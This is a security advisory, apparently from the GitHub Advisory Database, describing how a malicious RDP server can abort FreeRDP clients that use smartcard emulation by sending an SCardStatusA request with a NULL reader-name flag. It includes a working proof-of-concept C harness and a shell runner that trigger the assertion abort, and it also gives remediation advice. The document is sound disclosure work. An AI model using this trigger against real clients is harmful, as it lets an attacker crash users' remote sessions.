Server-controlled SCardStatusA NULL reader-name request aborts FreeRDP smartcard-emulation clients
What fixes it
- 3.32.0FreeRDP, cGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
When a user connects a FreeRDP client to a malicious or compromised RDP server with smartcard emulation enabled, the server can send a legal SCardStatusA request with fmszReaderNamesIsNULL=1. FreeRDP translates that flag into a NULL reader-name destination but still calls scard_copy_strings, which asserts that the destination is non-NULL. A Release build compiled with WITH_VERBOSE_WINPR_ASSERT=ON aborts deterministically.
This was reproduced over a real loopback TLS/RDP session. The unmodified client announced its emulated smartcard, accepted stock FreeRDP server requests for EstablishContext and ConnectA, and returned a valid card handle. A safe Status control completed successfully and the client remained alive. The NULL-buffer Status request reached WINPR_ASSERT(dst), raised SIGABRT, and exited 134 without returning a completion.
This is a configuration-specific client availability issue. It does not demonstrate smartcard credential disclosure, memory corruption, code execution, or impact when verbose assertions are disabled.
Affected versions and prerequisites
The affected smartcard-emulation source is present in inspected FreeRDP releases 3.0.0 through 3.31.1 and current master. No fixed release is known.
Required conditions:
- the user connects to a malicious or compromised RDP server;
- smartcard emulation is enabled and redirected to that server;
- an emulated context and card handle have been established; and
- FreeRDP was built with
WITH_VERBOSE_WINPR_ASSERT=ON.
The CMake option defaults to ON, but docs/README.building recommends explicitly setting it to OFF for stable builds. Deployment prevalence is unknown.
Technical details
smartcard_unpack_status_call in libfreerdp/utils/smartcard_pack.c reads the server-controlled fmszReaderNamesIsNULL field. smartcard_StatusA_Call in libfreerdp/utils/smartcard_call.c honors a true value by setting cchReaderLen=0 and passing NULL as the reader-name destination to SCardStatusA.
The emulated implementation in libfreerdp/emu/scard/smartcard_emulate.c checks only whether the length pointer exists, then passes the NULL destination to scard_copy_strings:
if (pcchReaderLen) *pcchReaderLen = scard_copy_strings(ctx, mszReaderNames, *pcchReaderLen, hdl->szReader.pc, (UINT32)strlen(hdl->szReader.pc) + 2);
The helper immediately executes WINPR_ASSERT(dst). With verbose assertions compiled in, this reaches winpr_int_assert and aborts the process. With them compiled out, the tested path returned normally.
The emulation layer introduced the affected pattern before FreeRDP 3.0.0. The same source remains in 3.31.1 and current master. Searches found no exact published advisory, issue, or fix; issues #4743 and #2184 concern different smartcard behavior.
Reproduction
The full network replay attached FreeRDP's stock RdpdrServerContext to freerdp-shadow-cli using a disposable server-side preload because that application does not instantiate RDPDR itself. The preload called public smartcard server APIs and did not modify the wire data or client. FreeRDP's production serializers, TLS/RDP transport, RDPDR framing, client decoder and emulated smartcard implementation handled the rest.
Sanitized network results:
control: sent=1 completion_received=1 client_died_before_cleanup=0 client_rc=145 attack: sent=1 completion_received=0 client_died_before_cleanup=1 client_rc=134 attack: WINPR_ASSERT(dst) at scard_copy_strings; caught SIGABRT
The control's status 145 is deliberate cleanup after successful observation. The attack's 134 is the assertion abort. The environment-specific network runner is not included in this portable package.
The sibling source-only PoC independently drives FreeRDP's request encoder, production request decoder, smartcard_irp_device_control_call, and emulated SCardStatusA, with assertions-on and assertions-off Release builds:
./poc/run.sh SOURCE_DIR ASSERTIONS_ON_BUILD ASSERTIONS_OFF_BUILD
Observed output:
PASS assertions-on: StatusA(NULL reader names) aborted at scard_copy_strings(dst) PASS assertions-off: the same StatusA request returned normally
The positive case intentionally aborts the local harness. The runner disables core dumps, uses disposable certificate material, performs no network access, and cleans up its temporary files by default.
Impact
A malicious or compromised RDP server can terminate an assertion-enabled FreeRDP client that redirects an emulated smartcard. The network replay used a valid context and card handle obtained through ordinary request/response exchanges and required no malformed length or race. No confidentiality or integrity impact was observed. The assertions-off Release control exited successfully, so the report makes no availability or memory-safety claim for that configuration.
Remediation
Handle fmszReaderNamesIsNULL explicitly in Emulate_SCardStatusA and the parallel wide-character path. When the destination is NULL and the requested length is zero, return a zero reader-name length without calling the copy helper. Reject NULL with a nonzero length. The generic helper should return an error for invalid input rather than treating a remotely reachable condition as an assertion invariant.
Add production-call regression tests for ANSI and wide Status requests with the NULL flag both set and clear, in Release builds with verbose assertions both ON and OFF.
Portable PoC files
<!-- BEGIN FILE: poc/status_null.c -->
#define _POSIX_C_SOURCE 200809L
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <freerdp/channels/rdpdr.h>
#include <freerdp/channels/scard.h>
#include <freerdp/freerdp.h>
#include <freerdp/settings.h>
#include <freerdp/utils/rdpdr_utils.h>
#include <freerdp/utils/smartcard_call.h>
#include <freerdp/utils/smartcard_operations.h>
#include <freerdp/utils/smartcard_pack.h>
#include <winpr/crt.h>
#include <winpr/smartcard.h>
#include <winpr/stream.h>
static scard_call_context* g_smartcard = NULL;
static NTSTATUS g_io_status = 0;
static char* read_text_file(const char* path)
{
FILE* fp = fopen(path, "rb");
if (!fp)
return NULL;
if (fseek(fp, 0, SEEK_END) != 0)
{
fclose(fp);
return NULL;
}
const long length = ftell(fp);
if ((length < 0) || (fseek(fp, 0, SEEK_SET) != 0))
{
fclose(fp);
return NULL;
}
char* data = calloc(1, (size_t)length + 1);
if (!data || (fread(data, 1, (size_t)length, fp) != (size_t)length))
{
free(data);
data = NULL;
}
fclose(fp);
return data;
}
static wStream* wrap_request(UINT32 code, wStream* inner)
{
const size_t total = RDPDR_DEVICE_IO_CONTROL_REQ_HDR_LENGTH + Stream_Length(inner);
wStream* stream = Stream_New(NULL, total);
if (!stream)
return NULL;
Stream_Write_UINT32(stream, 2048);
Stream_Write_UINT32(stream, (UINT32)Stream_Length(inner));
Stream_Write_UINT32(stream, code);
Stream_Zero(stream, 20);
Stream_Write(stream, Stream_Buffer(inner), Stream_Length(inner));
Stream_SealLength(stream);
Stream_SetPosition(stream, 0);
return stream;
}
static BOOL run_operation(const SMARTCARD_OPERATION* operation, SMARTCARD_OPERATION* result)
{
wStream* encoded = Stream_New(NULL, 8192);
if (!encoded ||
(smartcard_irp_device_control_encode_request(encoded, operation) != SCARD_S_SUCCESS))
{
Stream_Free(encoded, TRUE);
return FALSE;
}
wStream* request = wrap_request(operation->ioControlCode, encoded);
Stream_Free(encoded, TRUE);
if (!request)
return FALSE;
SMARTCARD_OPERATION decoded = { 0 };
const LONG decode_status =
smartcard_irp_device_control_decode_request(request, 1, 0, &decoded);
Stream_Free(request, TRUE);
if (decode_status != SCARD_S_SUCCESS)
return FALSE;
wStream* output = Stream_New(NULL, 16384);
if (!output)
{
smartcard_operation_free(&decoded, FALSE);
return FALSE;
}
Stream_Zero(output, 16);
const LONG call_status =
smartcard_irp_device_control_call(g_smartcard, output, &g_io_status, &decoded);
Stream_SetPosition(output, RDPDR_DEVICE_IO_RESPONSE_LENGTH);
SMARTCARD_OPERATION response = { 0 };
const LONG response_status = smartcard_irp_device_control_decode_response(
output, operation->ioControlCode, &response);
Stream_Free(output, TRUE);
smartcard_operation_free(&decoded, FALSE);
if ((call_status != SCARD_S_SUCCESS) || (response_status != SCARD_S_SUCCESS))
{
smartcard_operation_free(&response, FALSE);
return FALSE;
}
*result = response;
return TRUE;
}
static void fill_context(REDIR_SCARDCONTEXT* context, SCARDCONTEXT value)
{
context->cbContext = sizeof(value);
memcpy(context->pbContext, &value, sizeof(value));
}
int main(int argc, char** argv)
{
if (argc != 3)
{
fprintf(stderr, "usage: %s CERTIFICATE PRIVATE_KEY\n", argv[0]);
return 64;
}
char* certificate = read_text_file(argv[1]);
char* private_key = read_text_file(argv[2]);
if (!certificate || !private_key)
{
fprintf(stderr, "unable to read certificate material\n");
free(certificate);
free(private_key);
return 65;
}
rdpSettings* settings = freerdp_settings_new(0);
freerdp instance = { 0 };
rdpContext context = { 0 };
if (!settings)
return 66;
instance.context = &context;
context.instance = &instance;
context.settings = settings;
freerdp_settings_set_pointer(settings, FreeRDP_instance, &instance);
if (!freerdp_settings_set_bool(settings, FreeRDP_SmartcardEmulation, TRUE) ||
!freerdp_settings_set_string(settings, FreeRDP_SmartcardCertificate, certificate) ||
!freerdp_settings_set_string(settings, FreeRDP_SmartcardPrivateKey, private_key) ||
!freerdp_settings_set_string(settings, FreeRDP_Password, "1234"))
return 67;
g_smartcard = smartcard_call_context_new_with_context(&context);
if (!g_smartcard)
return 68;
SMARTCARD_OPERATION establish = { 0 };
establish.ioControlCode = SCARD_IOCTL_ESTABLISHCONTEXT;
establish.call.establishContext.dwScope = SCARD_SCOPE_USER;
establish.outputBufferLength = 16384;
SMARTCARD_OPERATION establish_result = { 0 };
if (!run_operation(&establish, &establish_result))
return 69;
SCARDCONTEXT card_context = 0;
memcpy(&card_context, establish_result.ret.establishContext.hContext.pbContext,
sizeof(card_context));
smartcard_operation_free(&establish_result, FALSE);
SMARTCARD_OPERATION connect = { 0 };
connect.ioControlCode = SCARD_IOCTL_CONNECTA;
fill_context(&connect.call.connectA.Common.handles.hContext, card_context);
connect.call.connectA.Common.dwShareMode = SCARD_SHARE_SHARED;
connect.call.connectA.Common.dwPreferredProtocols = SCARD_PROTOCOL_T1;
connect.call.connectA.szReader = (char*)"reader";
connect.outputBufferLength = 16384;
SMARTCARD_OPERATION connect_result = { 0 };
if (!run_operation(&connect, &connect_result))
return 70;
SCARDHANDLE card = 0;
memcpy(&card, connect_result.ret.connect.hCard.pbHandle, sizeof(card));
smartcard_operation_free(&connect_result, FALSE);
SMARTCARD_OPERATION status = { 0 };
status.ioControlCode = SCARD_IOCTL_STATUSA;
fill_context(&status.call.status.handles.hContext, card_context);
status.call.status.handles.hCard.cbHandle = sizeof(card);
memcpy(status.call.status.handles.hCard.pbHandle, &card, sizeof(card));
status.call.status.fmszReaderNamesIsNULL = TRUE;
status.call.status.cchReaderLen = 0;
status.call.status.cbAtrLen = 32;
status.outputBufferLength = 16384;
SMARTCARD_OPERATION status_result = { 0 };
puts("sending StatusA with fmszReaderNamesIsNULL=1");
fflush(stdout);
(void)run_operation(&status, &status_result);
puts("StatusA returned without abort");
return 0;
}<!-- END FILE: poc/status_null.c -->
<!-- BEGIN FILE: poc/run.sh -->
#!/bin/sh
set -eu
if [ "$#" -lt 2 ] || [ "$#" -gt 3 ]; then
echo "usage: $0 SOURCE_DIR ASSERTIONS_ON_BUILD [ASSERTIONS_OFF_BUILD]" >&2
exit 2
fi
POC_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
SOURCE=$(CDPATH= cd -- "$1" && pwd)
ASSERT_ON=$(CDPATH= cd -- "$2" && pwd)
ASSERT_OFF=
if [ "$#" -eq 3 ]; then
ASSERT_OFF=$(CDPATH= cd -- "$3" && pwd)
fi
REVISION=$(git -c safe.directory="$SOURCE" -C "$SOURCE" rev-parse HEAD)
case "$REVISION" in
63b948ca5cb94307fd5444ee6e73927a41ccdab4|\
fe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3|\
193fe551c9925c761722f589437decf9bc81d7aa)
;;
*)
echo "unsupported source revision: $REVISION" >&2
echo "use FreeRDP 3.31.1 or one of the two inspected master revisions" >&2
exit 2
;;
esac
WORK_ROOT=${POC_WORK_ROOT:-${TMPDIR:-/tmp}}
WORK=$(mktemp -d "$WORK_ROOT/freerdp-status-null.XXXXXX")
cleanup()
{
if [ "${KEEP_ARTIFACTS:-0}" = 1 ]; then
echo "artifacts retained in $WORK"
else
rm -rf "$WORK"
fi
}
trap cleanup EXIT INT TERM
ulimit -c 0 2>/dev/null || true
openssl req -x509 -newkey rsa:2048 -nodes -days 1 -subj '/CN=localhost' \
-keyout "$WORK/key.pem" -out "$WORK/cert.pem" >/dev/null 2>&1
find_library()
{
find "$1" -type f -name "$2" -print | sort -V | tail -n 1
}
run_case()
{
name=$1
build=$2
expected=$3
cache="$build/CMakeCache.txt"
if [ ! -f "$cache" ]; then
echo "missing CMakeCache.txt in $build" >&2
exit 2
fi
grep -q '^CMAKE_BUILD_TYPE:STRING=Release$' "$cache"
grep -q "^WITH_VERBOSE_WINPR_ASSERT:BOOL=$expected$" "$cache"
core=$(find_library "$build" 'libfreerdp3.so.*')
winpr=$(find_library "$build" 'libwinpr3.so.*')
if [ -z "$core" ] || [ -z "$winpr" ]; then
echo "required FreeRDP libraries not found in $build" >&2
exit 2
fi
library_paths=$(find "$build" -type f -name '*.so.*' -printf '%h\n' | sort -u | paste -sd: -)
if [ -n "${DEPENDENCY_LIBRARY_DIR:-}" ]; then
dependency_paths=$(find "$DEPENDENCY_LIBRARY_DIR" -type f -name '*.so.*' -printf '%h\n' | sort -u | paste -sd: -)
library_paths="$library_paths:$dependency_paths"
fi
cc -std=c11 -Wall -Wextra -Wno-deprecated-declarations -Wno-type-limits -O2 \
-I"$SOURCE/include" -I"$SOURCE/winpr/include" \
-I"$build/include" -I"$build/winpr/include" \
"$POC_DIR/status_null.c" "$core" "$winpr" \
-Wl,--allow-shlib-undefined -o "$WORK/status-null-$name"
set +e
LD_LIBRARY_PATH="$library_paths" \
"$WORK/status-null-$name" "$WORK/cert.pem" "$WORK/key.pem" \
>"$WORK/$name.stdout" 2>"$WORK/$name.stderr"
rc=$?
set -e
printf '%s\n' "$rc" >"$WORK/$name.rc"
}
run_case assertions-on "$ASSERT_ON" ON
test "$(cat "$WORK/assertions-on.rc")" -eq 134
grep -q 'scard_copy_strings' "$WORK/assertions-on.stderr"
grep -q '((dst))' "$WORK/assertions-on.stderr"
echo 'PASS assertions-on: StatusA(NULL reader names) aborted at scard_copy_strings(dst)'
if [ -n "$ASSERT_OFF" ]; then
run_case assertions-off "$ASSERT_OFF" OFF
test "$(cat "$WORK/assertions-off.rc")" -eq 0
grep -q 'StatusA returned without abort' "$WORK/assertions-off.stdout"
! grep -q 'winpr_int_assert' "$WORK/assertions-off.stderr"
echo 'PASS assertions-off: the same StatusA request returned normally'
else
echo 'SKIP assertions-off: provide a Release build configured with WITH_VERBOSE_WINPR_ASSERT=OFF'
fi<!-- END FILE: poc/run.sh -->
Text from GitHub Advisory Database
Affected versions 1
- FreeRDP, c>= 3.0.0, <= 3.31.1GitHub